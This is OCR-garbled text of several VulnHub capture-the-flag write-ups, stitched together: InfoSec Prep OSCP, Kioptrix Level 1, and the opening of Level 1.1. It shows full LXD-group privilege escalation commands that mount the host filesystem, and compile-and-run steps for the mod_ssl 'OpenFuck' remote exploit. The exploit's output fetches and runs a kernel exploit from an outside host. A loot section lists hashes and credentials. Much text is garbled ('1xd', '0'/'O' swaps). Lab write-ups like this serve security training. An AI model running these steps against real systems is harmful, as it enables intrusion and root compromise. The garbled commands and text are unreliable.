kaligkali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $ chmod 600 sshkey.pvt

kaliakali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $

kaligkali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $ 11 sshkey.pvt

— e m e 1 kali kali 2.6K Jul 20 12:23 sshkey.pvt

kaliakali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $

kaligkali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $ ssh -i sshkey.pvt oscp@192.168.119.198
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

%« Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com

% Support: https://ubuntu.com/advantage

System information as of Mon 20 Jul 2020 06:53:47 AM UTC

System load: 0.04 Processes: 210
Usage of /: 26.6% of 19.56GB Users logged in: 0
Memory usage: 73% IPv4 address for eth@: 192.168.119.198

Swap usage: 0%

0 updates can be installed immediately.
0 of these updates are security updates.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Jul 11 16:50:11 2020 from 192.168.128.1
-bash-5.0%

Figure 9: writeup.exploitation.steps.2.1
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Phase #2.5: Post Exploitation

oscp@oscp>

1uid=1000(oscp) gid=1000(oscp)
< groups=1000(oscp) ,4(adm) ,24(cdrom) ,27 (sudo) ,30(dip) ,46 (plugdev) ,116(1xd)

oscp@oscp>
oscp@oscp>

Linux oscp 5.4.0-40-generic #44-Ubuntu SMP Tue Jun 23 00:01:04 UTC 2020 z86_64 x86_64 x86_64

id

uname

< GNU/Linuz

oscp@oscp>

oscp@oscp> ifconfig

ethO: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.119.198 netmask 255.255.255.0 broadcast 192.168.119.255
inet6 fe80::20c:29ff:fee6:a4ab prefixlen 64
ether 00:0c:29:e6:a4:ab txqueuelen 1000

RX packets 389730 bytes 88031188 (88.0 MB)

RX errors O dropped O

overruns 0 frame O

TX packets 297471 bytes 52912167 (52.9 MB)
TX errors O dropped O overruns O carrier O collisions O

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1

inet6 ::

loop txqueuelen 1000

prefixlen 128
(Local Loopback)

netmask 255.0.0.0

scopeid 0x10<host>

RX packets 694 bytes 64212 (64.2 KB)

RX errors O dropped O

overruns 0O frame O

TX packets 694 bytes 64212 (64.2 KB)
TX errors O dropped O overruns O carrier O

oscp@oscp>
oscp@oscp>
root
oscp

users

scopeid 0x20<1ink>
(Ethernet)

collisions O



2

Phase #3: Privilege Escalation

1. From the output of command id, we see that the user oscp is a member of 1xd group. We can exploit this
misconfiguration to create a dummy container that mounts the local file system and gain access to all privileged
files. But we see that the 1xc command for this to work is not found in our current environment path:

1xc init ubuntu:16.04 test -c security.privileged=true
-bash: 1lxc: command not found

-bash-5.0%

-bash-5.0% id

uid=1000(oscp) gid=1000(oscp) groups=10006(oscp),4(adm),24(cdrom),27(sudo),30(dip), 46(plugdev),116(1xd)
-bash-5.0%

-bash-5.0%

-bash-5.0% 1xc init ubuntu:16.04 test -c security.privileged=true
-bash: 1xc: command not found

-bash-5.0%

-bash-5.08% locate lxc

/snap/bin/1xc

/snap/bin/1xd.lxc

/snap/bin/1xd.1xc-to-1xd

/snap/1xd/16044/1xc

Figure 10: writeup.privesc.steps.1.1

2. We locate the file and use it’s absolute path to create the container. This time we see another error about storage
pool. The error message helpfully points us in the right direction and we need to initialize LXD first. We use the
suggested command with the absolute path and choose default settings when prompted for a change:

/snap/bin/lxd init

/snap/bin/lxc init ubuntu:16.04 test -c security.privileged=true

/snap/bin/lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
/snap/bin/lxc start test

/snap/bin/lxc exec test bash

-bash-5.0%
-bash-5.0% /snap/bin/lxc init ubuntu:16.04 test -c security.privileged=true
If this is your first time running LXD on this machine, you should also run: lxd init

Creating test
Error: Failed instance creation: No storage pool found. Please create a new storage pool

-bash-5.0%

-bash-5.0% /snap/bin/lxd

Ixd 1xd.benchmark 1xd.buginfo 1xd.check-kernel 1xd.lxc 1xd.lxc-to-1xd Ixd.migrate
-bash-5.0%

-bash-5.0% /snap/bin/lxd init_

Figure 11: writeup.privesc.steps.2.1
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-bash-5.0%
-bash-5.0% /snap/bin/lxc init ubuntu:16.04 test -c security.privileged=true
If this is your first time running LXD on this machine, you should also run: 1lxd init

Creating test
Error: Failed instance creation: No storage pool found. Please create a new storage pool

-bash-5.0%

-bash-5.0% /snap/bin/lxd

Ixd 1xd.benchmark 1xd.buginfo 1xd.check-kernel 1xd.lxc Ixd.lxc-to-1xd Ixd.migrate
-bash-5.0%

-bash-5.08% /snap/bin/lxd init

Would you like to use LXD clustering? (yes/no) [default=no]:

Do you want to configure a new storage pool? (yes/no) [default=yes]:

Name of the new storage pool [default=default]:

Name of the storage backend to use (ceph, btrfs, dir, lvm) [default=btrfs]:

Create a new BTRFS pool? (yes/no) [default=yes]:

Would you like to use an existing empty disk or partition? (yes/no) [default=no]:

Size in GB of the new loop device (1GB minimum) [default=5GB]:

Would you like to connect to a MAAS server? (yes/no) [default=no]:

Would you like to create a new local network bridge? (yes/no) [default=yes]:

What should the new bridge be called? [default=lxdbro]:

What IPv4 address should be used? (CIDR subnet notation, “auto” or “none"”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:

Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:

-bash-5.0%

Figure 12: writeup.privesc.steps.2.2
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-bash-5.08% /snap/bin/lxc init ubuntu:16.04 test -c¢ security.privileged=true

Creating test

-bash-5.0%

-bash-5.0% /snap/bin/lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
Device whatever added to test

-bash-5.0%

-bash-5.08% /snap/bin/1lxc start test

-bash-5.0%

-bash-5.08% /snap/bin/1lxc exec test bash

rootatest:~#

root@test:~# 1s -1 /

total @
drwxr=xr-x
drwxr-xr-x
drwxr-xr-x

1 root root 2480 Jul 8 18:58 bin
1 root root 8 Jul 8 19:04 boot
9 root root 526 Jul 20 07:18 dev
drwxr-xr-x 1 root root 2976 Jul 20 07:18 etc
drwxr-xr-x 1 root root 12 Jul 20 07:18 home
drwxr-xr-x 1 root root 432 Jul 8 19:04 1lib
drwxr-xr-x 1 root root 40 Jul 8 18:55 lib64
drwxr-xr-x 1 root root 0 Jul 8 18:54 media
drwxr-xr-x 1 root root 8 Jul 20 07:18 mnt
drwxr-xr-x 1 root root 0 Jul 8 18:54 opt
dr-xr-xr-x 295 root root 0 Jul 20 07:18 proc
1 root root 38 Jul 20 07:18 root
drwxr-xr-x 17 root root 660 Jul 20 07:18 run
drwxr-xr-x 1 root root 3746 Jul 8 18:58 sbin
drwxr-xr-x 1 root root 12 Jul 20 07:18 snap
drwxr-xr-x 1 root root @ Jul 8 18:54 srv
dr-xr-xr-x 13 root root 0 Jul 20 07:18 sys
drwxrwxrwt 1 root root 94 Jul 20 07:18 [Emp
drwxr-xr-x 1 root root 70 Jul 8 18:54 usr
drwxr=xr-x 1 root root 108 Jul 8 18:58 var
roototest:~#
rootatest:~# 1s -1 /mnt/
total 4
drwxr-xr-x 20 root root 40696 Jul 9 03:25 root
rootatest:~# _

Figure 13: writeup.privesc.steps.2.3

rootatest:~#

root@test:~# 1s -1 /mnt/root/root/

total 12

-rwxr-xr-x 1 root root 248 Jul 11 17:15 fix-wordpress
=rw-r--r-- 1 root root 33 Jul 9 06:39 flag.txt
drwxr-xr-x 3 root root 4096 Jul 9 ©3:38 snap
rootatest:~#

rootatest:~#

rootdtest:~# cat /mnt/root/root/flag.txt
d73b04b0e696b0945283defaleees538

rootatest:~#

Figure 14: writeup.privesc.steps.2.4
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Learning/Recommendation

e The SSH key for a user on the target machine was exposed via web application. Although the file was base64
encoded and listed within robots.txt, it doesn’t stop an attacker from accessing it.

e The local user was member of the LXD group which allowed to create a privileged container with access to
the entire file system. This lead to complete access of files, even those that have been restricted to root user
only.

Loot
Hashes

oscp: $6$k80EgwaFdUqpVETQ$sK1BojI3IYunw8wEDAyoFdHgVt0PzkDPgksql7IWzpf ZXpd3UqP569BokTZ52mDroq/ |
o rmJY9zgfeQVmB......... ... .. ... L,
root:$6$.wvqHr9ixq/hDW8t$a/dHKimULfr5rJTD1S7uoUanuJB2YUUkh . LWSKF7kTNp4al8UT10k2wT8IkAgJ . vDF/ |
<~ ThSIOegsuclEg.........................

Credentials

mysql: wordpress/Oscpl2....
wordpress: admin:$P$Bx9ohXoCVR51kKtuQbuWuh2........

Flags

/mnt/root/root/flag.txt: d73b04b0e696b0945283d...........

References

[+] https://www.vulnhub.com/entry/infosec-prep-oscp,508/

[+] https://reboare.github.io/1xd /Ixd-escape.html

[+] https://book.hacktricks.xyz/linux-unix /privilege-escalation /Ixd-privilege-escalation

[+] https://medium.com/@falconspy /infosec-prep-oscp-vulnhubwalkthrough-a09519236025
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[VulnHub] Kioptrix: Level 1 (#1)

Date: 28/Sep/2019
Categories: oscp, vulnhub, linux
Tags: exploit_ modssl, privesc_ modssl

Overview
This is a writeup for VulnHub VM Kioptrix: Level 1 (#1). Here are stats for this machine from machinescli:

machinescli -t --info "vulnhub#22"

1. vulnhub#22  Kioptrix: Level 1 (#1)

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:

[VulnHub] Kioptrix: Level 1.1 (#1)

'192.168.92.181 |

k J
Phase #1: Enumeration‘

Y . Y L L 4 L L 4 o Y L Y L k4 )
‘1&24}tcp‘ 22/tcp 80/tcp 111/tcp 137/udp 139/tcp 443 /tcp
h §
‘mod_ssl 2.8.7

Phase #2: Exploitation

edb:47080

¥

shell (root)

Figure 2: writeup.overview killchain


https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
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https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
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https://github.com/7h3rAm/machinescli

TTPs

1. 443/tcp/ssl/https/Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b: ex-
ploit__modssl, privesc_ modssl


https://github.com/7h3rAm/writeups#exploit_modssl
https://github.com/7h3rAm/writeups#exploit_modssl
https://github.com/7h3rAm/writeups#privesc_modssl

Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Fri Sep 27 15:42:00 2019 as: mmap —-vv —--reason —Pn -sV -sC

» ——version-all —olN

o /root/toolboz/writeups/vulnhub.kioptrizl/results/192.168.92.181/scans/_quick_tcp_nmap.tzt
o —0X

s /root/toolboz/writeups/vulnhub.kioptrizl/results/192.168.92.181/scans/xzml/_quick_tcp_nmap.zml
o 192.168.92.181

Nmap scan report for 192.168.92.181

Host is up, received arp-response (0.0011s latency).

Scanned at 2019-09-27 15:42:01 PDT for 273s
Not shown: 994 closed ports
Reason: 994 resets
PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 64 OpenSSH 2.9p2 (protocol 1.99)

| ssh-hostkey:

| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6£:64:86 (RSA1)

| 1024 35

< 109482092953601530927446985143812377560925655194254170270380314520841776849335628258408994190413716152
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)

| ssh-dss AAAAB3NzaClkc3MAAACBAKtycvxuV/e7s2cN74HyTZXHXiBrwyiZe/PKT/

< 1inuT5NDSQTPsGiyJZU4gefPAsYKSwSwLe28TD1ZWHAdXpNdwyn4QrFQBjwFR+

- 8WbFiAZBoW1SfQPR2RQW81i32Y2P2V79p4mu742HtWBzOhT jkd9qL5j8KCUPDLYOhzDuViWy7PAAAAFQCYObvq+
= 5rs10pY5/DGsGx0k6CqGWAAAIBVpPBt IHbhvoQdNOWPe8d60zTTFvdNRa8pWKzV1Hpw+

~ e3qsCALYHAy1NoeaqK8uJP9203MEkxrd200BJKn/8EX1KAco7vC1ldr/QWae+

< NEkI1a38x0M1545vHAGFaVUWkffHek jhR476Uq4N4qeLfFp5B+v+9f1LxYVYsY/

< ymJKpNgAAATEApPy jrqjgXOAE4fSBFntGFWM3j5M31c5jw/ |

< OqufX1HJu8sZGOFRfOwTI6H1 JHHsIKHA7FZ33vGLQ3TRmvZucJZ0155£V2ASS9uvQRE+

< c8P6w72YCzgIN7v4hYXxnY4RiWvINjW/F6ApQEUJc742i6Fn54FEYATy5goatGFMwpVq3Q=

| 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)

| __ssh-rsa AAAAB3NzaClyc2EAAAABIWAAATEAvv8UUWsr07+VCG/rTWY72jE1ft4WXEXGWybh141E8XnWxMCu+

< Rlqdocxhh+4C1z8w09beuZzG1lrj1AD+XHiR3j2P+sw6UODeyBkuP24a+

< TV8P5nu9ksKD1fA83RyelgSgRINQgPfFU3gngNnolyN6ossqkcMQTI1CY5nF6iYePs=

16

17

18

19

20

21
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28

29

30

31

| _sshvl: Server supports SSHv1

80/tcp open http
< mod_ssl/2.8.4 OpenSSL/0.9.6b)

| http-methods:

| Supported Methods: GET HEAD OPTIONS TRACE

syn-ack ttl 64 Apache httpd 1.3.20 ((Unix)

|_ Potentially risky methods: TRACE
| _http-server-header: Apache/1.3.20 (Unix)

111/tcp open rpcbind

| rpcinfo:

| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
| 100024 1 1028/udp status

139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd (workgroup: HMYGROUP)

(Red-Hat/Linux)

(Red-Hat/Linux) mod_ss1/2.8.4 OpenSSL/0.9.6b
| _http-title: Test Page for the Apache Web Server on Red Hat Linux
syn-ack ttl 64 2 (RPC #100000)

443/tcp open ssl/https syn-ack ttl 64 Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4
< OpenSSL/0.9.6b
| http-methods:

|_  Supported Methods: GET HEAD POST
| _http-server-header: Apache/1.3.20 (Unix)
| _http-title: 400 Bad Request

(Red-Hat/Linux) mod_ss1/2.8.4 OpenSSL/0.9.6b
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_ssl-date: 2019-09-27T22:43:54+00:00; +1m36s from scanner time.
sslv2:
SSLv2 supported
ciphers:
SSL2_RC4_128_WITH_MD5
SSL2_RC2_128_CBC_WITH_MD5
SSL2_RC4_128_EXPORT40_WITH_MD5
SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
SSL2_DES_192_EDE3_CBC_WITH_MD5
SSL2_RC4_64_WITH_MD5
| _ SSL2_DES_64_CBC_WITH_MD5
1024/tcp open status syn-ack ttl 64 1 (RPC #100024)
MAC Address: 00:0C:29:45:0D:56 (VMware)

Host script results:

| clock-skew: mean: 1m35s, deviation: Os, median: 1m35s

| nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:

KIOPTRIX<00> Flags: <unique><active>
KIOPTRIX<03> Flags: <unique><active>
KIOPTRIX<20> Flags: <unique><active>
\x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
MYGROUP<00> Flags: <group><active>
MYGROUP<1d> Flags: <unique><active>
MYGROUP<1e> Flags: <group><active>
Statistics:

|
|
|
|
|
|
|
|
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

| 00 00 00 00 00 00 00 00 00 00 00 00 00 00

| p2p-conficker:

| Checking for Conficker.C or higher...

|  Check 1 (port 39938/tcp): CLEAN (Couldn't connect)

| Check 2 (port 50948/tcp): CLEAN (Couldn't connect)

|  Check 3 (port 9166/udp): CLEAN (Failed to receive data)

|  Check 4 (port 32743/udp): CLEAN (Failed to receive data)

| 0/4 checks are positive: Host is CLEAN or ports are blocked
| _smb2-security-mode: Couldn't establish a SMBv2 connection.

| _smb2-time: Protocol negotiation failed (SMB2)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
# Nmap done at Fri Sep 27 15:46:34 2019 -- 1 IP address (1 host up) scanned in 274.07 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:


https://github.com/Tib3rius/AutoRecon

~ openports

# Port Protocol Service Scans

1. 22/tcp ssh ttl 64 OpenSSH 2.9p2 (protocol 1.99) ./results/192.168.92.181/scans/tcp_22_ssh_nmap.txt
2.

3.

./results/192.168.92.181/scans/enum4linux. txt

4. 137/udp netbios-ns ttl 64 Samba nmbd netbios-ns (workgroup: MYGROUP) ./results/192.168.92.181/scans/nbtscan. txt
./results/192.168.92.181/scans/udp_137_smb_nmap.txt
./results/192.168.92.181/scans/enum4linux. txt

5. 139/tcp netbios-ssn ttl 64 Samba smbd (workgroup: MYGROUP) ./results/192.168.92.181/scans/smbclient. txt
./results/192. .181/scans/tcp_139_smb_nmap. txt
./results/192.168.92.181/scans/tcp_443_http_nmaf t

6. nssi

7. 1024/tcp status ttl 64 1 (RPC #100024)

Figure 3: writeup.enumeration.steps.2.1

3. We explore the various directories and files found with gobuster scan but nothing interesting is found:

gobuster -u http://192.168.92.181:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
- -e -k -1 -s "200,204,301,302,307,401,403" -x "txt,html,php,asp,aspx,jsp"
http://192.168.92.181:80/index.html (Status: 200) [Size: 2890]
http://192.168.92.181:80/manual (Status: 301)
http://192.168.92.181:80/mrtg (Status: 301)
http://192.168.92.181:80/test.php (Status: 200) [Size: 27]
http://192.168.92.181:80/usage (Status: 301)

4.  We fallback on Nmap version detection for 443/tcp and search exploits for Apache/1.3.20 (Unix)
(Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b using searchsploit:

searchsploit mod_ssl
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) |
< exploits/unix/remote/47080.c

root@kali: # ss mod_ssl
eloit Title | paen T
| (/usr/share/exploitdb/)
Apache nod o 2l - Remote bemial of Service T | exploits/Uinun/dos/ 24500 ext
Apache < 2.8.7 OpensSL - 'OpenFuck.c' Remote Buffer Overflow | exploits/unix/remote/21671.c
Apache < 2.8.7 OpenSSL - 'OpenFuckv2.c' Remote Buffer Overflow (1) exploits/unix/remote/764.c
< 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | exploits/unix/remote/47686.c
Apache 2.8.x - Off-by-One HTAccess Buffer Overflow | exploits/multiple/dos/21575. txt
Apache OpensSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY ARG Overflow | exploits/unix/remote/40347.txt
Shellcodes: Mo Resut T
root@kali: #
Figure 4: writeup.enumeration.steps.4.1
Findings
Open Ports
22/tcp | ssh | OpenSSH 2.9p2 (protocol 1.99)
80/tcp | http | Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4
< OpenSSL/0.9.6Db)
111/tcp | rpcbind 2 (RPC #100000)
137/udp netbios-ns Samba nmbd netbios-ns (workgroup: MYGROUP)

443/tcp ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

|
| |
139/tcp | netbios-ssn | Samba smbd (workgroup: HMYGROUP)
| |
1024/tcp | status | 1 (RPC #100024)



Phase #2: Exploitation

1. We compile this exploit and check it’s usage options. It requries a platform specific offset and provides mapping
of supported offsets. We determine the required offset value for our target to be 0x6b based on the Nmap version
detection results for 443/tcp. Once executed, the exploit successfully establishes an elevated, remote session with
the target:

gcc -o 47080 47080.c -lcrypto
. /47080

0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
./47080 0x6b 192.168.92.181 443

root@kali: ~/toolbox/data/writeups/vulnhub.kioptrixl # ./47080

e e o ok ok o o o o o o o o o ok o o o o o o o o o o o o e e e e e e o ok s s o o o o o o o oK o oK o o o o o o o o o o o o o o o ok ok o o

* QOpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *

e o o e o o o ok o e ofe o o ok ok o e ok o ok ok ok e o o o ok ok sk e o o ok ok ok o e o o ok ok o o o o o ok o e o o o o ok o e ofe o o o ok ok e ok o ke o
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org s
¥ TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr@x #coder #root #endiabrad®s #NHC #TechTeam *
* *
* *

#pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ
e o 3 ok o 2k 3 ok o ok e ok o ok o ok o ok ok o ok ok ok o ok ok ok ok ok ok ok o ok o ok ok ok ok ok ok ok ok e ok ok ok ok ok ok ok e ok ok ok ok ok e ok o ok ok ke ke ok

Usage: ./47080 target box [port] [-c N]

target - supported box eg: 0x00

box - hostname or IP address

port - port for ssl connection

-c open N connections. (use range 40-58 if u dont know)

Supported O0ffSet:
Ox00 - Caldera OpenLinux (apache-1.3.26)
Ox01 - Cobalt Sun 6.0 (apache-1.3.12)
@x02 - Cobalt Sun 6.0 (apache-1.3.20)
8x03 - Cobalt Sun x (apache-1.3.26)
Ox04 - Cobalt Sun x Fixed2 (apache-1.3.26)

Figure 5: writeup.exploitation.steps.1.1

{apache-1.3.20-16)1
(apache-1.3.20-16)2

Ox6a - RedHat Linux 7.
7

[0 MJ

RedHat
Ox6c - RedHat Linux 7.2-Update (apache-1.3.22-6)
0x6d - RedHat Linux 7.2 (apache-1.3.24)
Ox6e - RedHat Linux 7.2 (apache-1.3.26)

Figure 6: writeup.exploitation.steps.1.2
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root@kali: ~/toolbox/data/writeups/vulnhub.kioptrixl # ./47080 Bx6b 192.168.92.181 443

e e e sk e e o e e b o o e ok o e e ok bk e ok ke b o ok ke ok e e ke b o o e o e o ke e o o e o ke o ke e s ok ke o ke e ok e e ok e o ke o ok e e o e

* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *

o o e e o o ofe o o e o o o ot o ok o o ok o o sk o o e o o o o o o e o o e o o ok e o o e of o e ot o e o o ok o ot ok e o o e o o e o o o e
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* THNX Xanthic USG #SilverlLords #BloodBR #isotk #highsecure #uname *
* #I0ON #delirium #nitr@x #coder #root #endiabrad@s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

RS S S S RS R R R RS RS R R R S R R R S

Establishing SSL connection

cipher: 9x40438088c ciphers: 8x80f8850

Ready to send shellcode

Spawning shell...

bash: no job control in this shell

bash-2.85%

d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmed.c -B /usr/bin; rm ptrace-kmo

--21:80:33-- https://dl.packetstormsecurity.net/0384-exploits/ptrace-kmod.c
=> 'ptrace-kmod.c'

Connecting to dl.packetstormsecurity.net:443.,. connected!

HTTP request sent, awaiting response... 208 0K

Length: 3,921 [text/x-csrc]

B s, 100% @ 3.74 MB/s
21:00:33 (3.74 MB/s) - “ptrace-kmod.c' saved [3921/3921]

Jusr/bin/ld: cannot open output fTile exploit: Permission denied
collect2: 1d returned 1 exit status
gcc: fTile path prefix " fusr/bin' never used

id
uid=0{root) gid=0(root) groups=e(root),1{(bin}),2(daemon),3(sys),4{adm),6(disk),18(wheel)

uname -a
Linux kioptrix.lewvell 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 1686 unknown

/sbin/ifconfig

ethe Link encap:Ethernet HWaddr 00:8C:29:45:8D:56
inet addr:192.168.92.181 Bcast:192.168.92.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1588 Metric:1
RX packets:1332415 errors:50 dropped:192 overruns:0 frame:@

Figure 7: writeup.exploitation.steps.1.3

2. We can now read the /var/mail/root file to complete the challenge:

cat /var/mail/root
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cat /var/mail/root
From root Sat Sep 26 11:42:10 2009
Return-Path: <root@kioptix.levell=
Received: (from root@localhost)
by kioptix.levell (8.11.6/8.11.6) id n8QFgAZ81831
for root@kioptix.levell; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptix.levell=
Message-Id: =<200989261542.n80QFgAZA1831@kioptix.levell=
To: root@kioptix.levell
Subject: About Level 2
Status: 0

If you are reading this, you got root. Congratulations.

Level 2 won't be as easy...

From root Fri Sep 27 18:24:85 2019

Return-Path: <root@kioptrix.levell=

Received: (from root@localhost)
by kioptrix.levell (8.11.6/8.11.6) id x8RMO5r©1426
for root; Fri, 27 Sep 2019 18:24:05 -0400

Date: Fri, 27 Sep 2019 18:24:05 -0400

From: root <root@kioptrix.levell=

Message-Id: <201909272224.x8RM0O5r0l426@kioptrix.levell=

To: root@kioptrix.levell

Subject: LogWatch for kioptrix.levell

HHHFHARHRFHAHFAZ#HE LogWatch 2.1.1 Begln ######FFH#FHHFHHRHAHHT

HREHHRHHFRHHARHHRFRHRE LogWatch End #####FF#FH#HFHHARHHHREHHR

Figure 8: writeup.exploitation.steps.2.1

Phase #2.5: Post Exploitation

root@kioptrix.levell> id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
root@kioptrix.levell>
root@kioptrix.levell> uname
Linux kioptrix.levell 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 686 unknown
root@kioptrix.levell>
root@kioptrix.levell> ifconfig
ethO Link encap:Ethernet HWaddr 00:0C:29:45:0D:56
inet addr:192.168.92.181 Bcast:192.168.92.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
RX packets:1332326 errors:50 dropped:192 overruns:0 frame:0
TX packets:1237378 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
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RX bytes:165986159 (158.2 Mb)
Interrupt:9 Base address:0x2000
root@kioptrix.levell>
root@kioptrix.levell> users
root

TX bytes:170994218 (163.0 Mb)
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[VulnHub] Kioptrix: Level 1.1 (#2)

Date: 28/Sep/2019
Categories: oscp, vulnhub, linux
Tags: exploit_ sqli, exploit_ cmdexec, privesc_kernel ipappend

Overview

This is a writeup for VulnHub VM Kioptrix: Level 1.1 (#2). Here are stats for this machine from machinescli:

- machinescli -t --info "vulnhub#23"

# ID Name Difficulty 0S

Rating

0SCPlike

Owned

TTPs

1. vulnhub#23  Kioptrix: Level 1.1 (#2)

privesc_kernel_ipappend

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_sqli&unscoped_q=exploit_sqli
https://github.com/7h3rAm/writeups/search?q=exploit_cmdexec&unscoped_q=exploit_cmdexec
https://github.com/7h3rAm/writeups/search?q=privesc_kernel_ipappend&unscoped_q=privesc_kernel_ipappend
https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
https://github.com/7h3rAm/machinescli

[VulnHub] Kioptrix: Level 1.1 (#2)
1192.168.92.182 |

Y
Phase #1: Enumeration‘

Y

- L. | r k4 . Y - .- Y .
443/tcp 625/tcp < 631/tcp ‘3306/tcp » 22/tcp 80/tcp

- k4 .
login form

Y

‘sqli‘

. Y_ o Y X
111/tcp | web administration console

Y

Phase 2: Exploitation

Y

command execution

Y

netcat (apache)

- 4 .
Phase #3: Privilege Escalation

A 4 . h 4 .
/var/www/html/index.php: mysgl credentials for user john /etc/redhat-release: centos 4.5

. h 4 . . X .
mysql: webapp password hashes for users admin and john searchsploit: edb:9542
¥
|root‘

Figure 2: writeup.overview killchain

TTPs

1. 80/tcp/http/Apache httpd 2.0.52 ((Cent0S)): exploit_ sqli, exploit_ cmdexec, privesc_ kernel ipappend


https://github.com/7h3rAm/writeups#exploit_sqli
https://github.com/7h3rAm/writeups#exploit_cmdexec
https://github.com/7h3rAm/writeups#privesc_kernel_ipappend
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Fri Sep 27 18:16:48 2019 as: mmap —-vv —--reason —Pn -sV -sC

» ——version-all —olN

s /root/toolboz/writeups/vulnhub.kioptricze/results/192.168.92.182/scans/_quick_tcp_nmap. txt
o —0X

s /root/toolboz/writeups/vulnhub.kioptriz2/results/192.168.92.182/scans/xzml/_quick_tcp_nmap.zml
o 192.168.92.182
Nmap scan report for 192.168.92.182
Host is up, received arp-response (0.0025s latency).

Scanned at 2019-09-27 18:16:48 PDT for 15s
Not shown: 993 closed ports
Reason: 993 resets
PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 64 OpenSSH 3.9p1 (protocol 1.99)

| ssh-hostkey:

| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)

| 1024 35

< 149174282886581624883868648302761292182406879108668063702143177994710569161669502445416601666211201346
| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)

| ssh-dss AAAAB3NzaClkc3MAAACBAOWJ2N2BPBPmOHxCi630ZxHtTNMh+

< uVkeYCkKVNxavZkcJdpfFT0GZp054s j27mVZVtCeNMHhzAUpvRisn/cH4k4plLd1m8HACAVPtcgRrshCzb7wzQikrP |
